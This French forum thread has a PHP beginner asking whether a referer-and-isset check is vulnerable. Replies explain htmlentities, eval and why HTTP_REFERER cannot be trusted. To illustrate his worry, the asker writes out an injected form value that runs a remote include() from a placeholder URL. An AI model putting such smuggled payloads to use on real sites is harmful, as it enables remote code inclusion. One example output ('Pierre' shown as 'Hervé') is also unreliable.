Aller au contenu

Y a t'il une faille là dedans?


Sujets conseillés

Posté

Bonjour à tous,

je voulais savoir s'il y avait une faille dans le script suivant :

$PagePrecOK=false;
if ((isset($_SERVER['HTTP_REFERER']))&&(isset($_POST['pseudo'])))
{
if ($_SERVER['HTTP_REFERER']==$MonDomaine.'inscription.php')
{
 $PagePrecOK=true;
}
}

Je ne m'y connais pas suffisamment pour répondre à ma question (sinon, je ne l'aurais pas posé ici... :D )

Je me disais avant que faire un isset sur une variable venant d'un formulaire ne devrait pas etre trop méchant... alors je me suis posais la question de l'utilité de mettre un htmlentities ici:

isset(htmlentities($_POST['pseudo']))

Vous me direz, "Ouais, mais de toute façon, t'as qu'à le mettre, ça coûte pas grand chose!!!" Je suis d'accord avec vous mais je n'ai pas trop envie de faire faire des opérations inutiles à mon futur serveur!!! (En plus, cela ne fonctionne pas, je vais y revenir...)

Pour ma part, je pense qu'il est nécessaire et alors là se pose un second problème: si $_POST['pseudo'] n'existe pas, htmlentities envoit un message d'erreur...

En résumé, le soucis, c'est que je voudrais faire un "htmlentities" avant un "isset" mais sans le "isset", je ne peux pas savoir si le "htmlentities" fonctionnera!!! :fou:

Vous me direz, t'as qu'à faire ta Regex si t'es pas content!!! :P C'est ce que je vais probablement faire si jamais je ne reçois pas de réponse satisfaisante... :blush:

Par avance, merci

Posté

Salut :)

Pas besoin de faire des tests pour vérifier le contenu de ta variable puisque tu ne vérifie ici que son existence ;)

Plus tard dans ton script, bien sûr tu devras vérifier qu'elle répond à un format précis, puis l'échapper avant de l'insérer dans ta BDD, mais pour l'instant, pas besoin de htmlentities :rolleyes:

P.S: Tu peux simplifier ton script en enlevant certaines parenthèses redondantes:

$PagePrecOK=false;
if (isset($_SERVER['HTTP_REFERER']) && isset($_POST['pseudo']))
{
 if ($_SERVER['HTTP_REFERER'] == $MonDomaine.'inscription.php')
 {
   $PagePrecOK=true;
 }
}

Posté

En fait, je me disais, si un visiteur malveillant mettait dans la variable $_POST['pseudo'] la valeur suivante : $PagePrecOK)){include("http://je.te.laisse/imaginer.php");} if((1==1 et bien ça donnerait

$PagePrecOK=false;
if (isset($_SERVER['HTTP_REFERER']) && isset($PagePrecOK)){include("http://je.te.laisse/imaginer.php");} if((1==1))
{
if ($_SERVER['HTTP_REFERER'] == $MonDomaine.'inscription.php')
{
  $PagePrecOK=true;
}
}

c'est à dire

$PagePrecOK=false;
if (isset($_SERVER['HTTP_REFERER']) && isset($PagePrecOK))
{
include("http://je.te.laisse/imaginer.php");
}
if((1==1))
{
if ($_SERVER['HTTP_REFERER'] == $MonDomaine.'inscription.php')
{
  $PagePrecOK=true;
}
}

Enfin, ça donne un truc pas très sympa qu'on ne peut pas balayer d'un htmlentities (les raisons sont données dans le premier message de ce post)...Je ne sais pas si cela peut fonctionner tel quel parce que la syntaxe est peut être pas bonne (je suis débutant en php...) mais j'ai peur que l'idée puisse être utilisée avec la syntaxe qui va bien... :unsure:

Par avance, merci...

PS : Ce n'est pas là pour donner des idées aux gens mal intentionnés mais juste pour illustrer mes propos (ce que je n'avais pas fait dans mon premier message...mais cela nuisait à la clarté de mes propos visiblement...)

Posté

OK, comme le dit MS-DOS 1991, faire des isset ne pose pas de problèmes de sécurité.

C'est après que cela pose problème.

Par contre, je voudrais attirer ton attention sur le fait que HTTP_REFERER doit être renseigné par le navigateur, ce qui n'est pas forcément le cas et ce qui peut être tartoutillé... (un hacker peut éventuellement mettre la valeur qu'il souhaite)

:P

Posté

En fait tu te poses une question logique dans un certain sens, htmlentities permet, lorsque tu envoie une chaîne de caractères au navigateur de t'assurer que les données envoyée seront interprétées comme du texte simple (car les caractères spéciaux ont été converti en leur entités respectives) et non comme du code HTML. Cela permet de prévenir des injections de code (généralement Javascript) côté client.

Côté serveur, elle ne te protège de rien, ce n'est pas son travail, l'interpréteur PHP ne sais pas ce qu'est- l'HTML. Aucun code PHP (instructions, structures, variables, ... quoi que ce soit) n'est interprété lorsqu'il est contenu dans une chaîne de caractères (ce qu'est le contenu de toutes valeur du tableau $_POST en l'occurrence, lorsqu'il vient d'être reçu) ... à moins que tu passes cette chaîne de caractères dans la fonction eval...

Pour reprendre ton exemple, ce que tu souhaites faire est de vérifier la contenu de $_POST['pseudo']. Et tu imagines qu'une personne malveillante utilise la chaîne "$PagePrecOK)){include("http://je.te.laisse/imaginer.php");} if((1==1" comme valeur pour $_POST['pseudo'] ... pour PHP cette chaîne n'est rien d'autre qu'une chaîne de caractères, il n'interprète pas son contenu... et si tu teste cette variable avec isset, cette fonction te répondrait simplement true parce que cette variable sera initialisé (c'est tout ce qu'elle vérifie).

L'injection de code PHP n'est possible que lorsque tu utilises des fonctions comme eval, autrement tu n'a pas vraiment à t'en soucier.

Comme l'a dit "kot", $_SERVER['HTTP_REFERER'] n'est pas un renseignement fiable pour effectuer des vérifications d'authentification... il peut servir tout au plus aux outils de statistiques, et encore rien ne permet d'affirmer que son contenu est authentique. Tu as meilleur temps dutiliser des sessions, et enregistrer dans une variable de sessions (et pas les cookies) le dernier endroit où était le visiteur si c'est une information primordiale...et dans ce cas tu dois t'inquiéter des problèmes (implémentation et sécurité) liés aux sessions.

Posté

Ok...je viens de capter le concept!!! En fait, le truc qui provoque les insertions de code html à partir d'une chaine de caractère, c'est le echo du php!!!

Parce que le code suivant:

<?php $Chaine="<?php include("http://Aie.Aie.Aie/PasCool.php") ?>"
echo $Chaine ?>

va se retrouver en HTML sous la forme suivante

<?php include("http://Aie.Aie.Aie.PasCool.php") ?>

L'insertion se situe bien au niveau du HTML et non pas au niveau du PHP...d'où l'inexistence de phpentities... :P

Je pense avoir capter le principe...

Pour ce qui est du $_SERVER['HTTP_REFERER'], je vais me documenter pour l'éviter car il n'a pas bonne réputation...

Encore merci!

Posté

En fait, l'exemple que tu cites (sans compter le fautes de syntaxes et les caractères non échappés) fera envoyer au navigateur la chaîne de caractères <?php include(&quot;http://Aie.Aie.Aie/PasCool.php") ?> ... le navigateur une fois qu'il interprète la page tombe devant "<?php", pour lui cela annonce un langage côté client à interpréter (un autre exemple serait le "<?xml") et donc n'affiche pas ce texte à l'écran. Si tu regarde la source tu verras que ton code y est tel quel, il n'a pas été interprété du tout (et encore heureux...).

Dans ce cas cela ne représente pas de risque pour ton visiteur, mais si en revanche tu as un bout de Javascript à la place de cette variable $Chaine, il sera interprété par le navigateur...à moins d'utiliser htmlspecialchars ou htmlentites (le premier s'occupe que de certains caractères "à risque", l'autre les convertit tous).

Il n'y a pas besoin d'une fonction "phpentities" parce que PHP n'interprète pas les chaînes de caractères à moins qu'on utilise la fonction eval comme je te l'ai dit...

Peut-être que ta confusion vient du fait qu'il est possible de faire ce :

$firstname = "Pierre";
echo "Bonjour $firstname";

Ceci affichera : Bonjour Hervé

Mais il est facile de trouver un contre exemple pour te démontrer qu'il n'y a pas d'interprétation.

$firstname = "Hervé";
echo "Bonjour htmlentities($firstname)";

Ceci affichera : Bonjour htmlentities(Hervé)

Donc ce n'est pas de l'interprétation par PHP, vu que la fonction n'est pas évaluée, c'est simplement un remplacement de variables par leur valeur

Posté

Salut,

Merci pour ton explication mais je pense que je vais me documenter dans ce sens sur le net (ça doit bien exister) car je dois t'avouer que c'est pas évident pour un noob comme moi... Vu que la sécurité est pour moi une chose importante, c'est un passage obligé!

Tcho

Veuillez vous connecter pour commenter

Vous pourrez laisser un commentaire après vous êtes connecté.



Connectez-vous maintenant
×
×
  • Créer...